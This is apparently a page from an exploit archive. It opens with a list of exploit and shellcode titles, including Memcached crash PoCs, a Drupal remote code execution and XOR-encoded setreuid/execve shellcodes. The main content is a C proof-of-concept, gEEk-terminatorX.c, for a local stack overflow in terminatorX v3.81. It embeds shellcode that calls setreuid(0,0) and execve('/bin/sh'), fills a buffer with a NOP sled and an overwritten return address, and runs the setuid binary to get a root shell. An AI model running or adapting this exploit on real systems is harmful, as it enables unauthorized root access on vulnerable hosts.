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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.8 KiB
C
74 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/8993/info
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It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.
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/* gEEk-terminatorX.c
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*
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* PoC exploit made for advisory based uppon an local stack based overflow.
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* Vulnerable versions, maybe also prior versions:
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*
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* terminatorX v3.81
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*
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* Tested on: Redhat 9.0
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*
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* Advisory source: c0wboy
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* http://www.0x333.org/advisories/outsiders-terminatorX-001.txt
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*
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* v3.81 uid=0(root) is only gained when compiled with: --enable-suidroot
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*
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* -----------------------------------------
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* coded by: demz (geekz.nl) (demz@geekz.nl)
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* -----------------------------------------
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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char shellcode[]=
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"\x31\xc0" // xor eax, eax
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"\x31\xdb" // xor ebx, ebx
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"\x31\xc9" // xor ecx, ecx
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"\xb0\x46" // mov al, 70
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\x50" // push eax
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"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
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"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
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"\x89\xe3" // mov ebx, esp
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"\x50" // push eax
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"\x53" // push ebx
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"\x89\xe1" // mov ecx, esp
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"\x99" // cdq
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"\xb0\x0b" // mov al, 11
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\xb0\x01" // mov al, 1
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"\xcd\x80"; // int 0x80
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int main()
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{
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unsigned long ret = 0xbffff1f0;
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char buffer[4380];
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int i=0;
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memset(buffer, 0x90, sizeof(buffer));
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for (0; i < strlen(shellcode) - 1;i++)
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buffer[2100 + i] = shellcode[i];
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buffer[4380] = (ret & 0x000000ff);
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buffer[4381] = (ret & 0x0000ff00) >> 8;
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buffer[4382] = (ret & 0x00ff0000) >> 16;
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buffer[4383] = (ret & 0xff000000) >> 24;
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buffer[4384] = 0x0;
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printf("\nterminatorX v3.81 local exploit\n");
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printf("---------------------------------------- demz @ geekz.nl --\n");
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execl("/usr/local/bin/terminatorX", "terminatorX", "-r", buffer, NULL);
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} |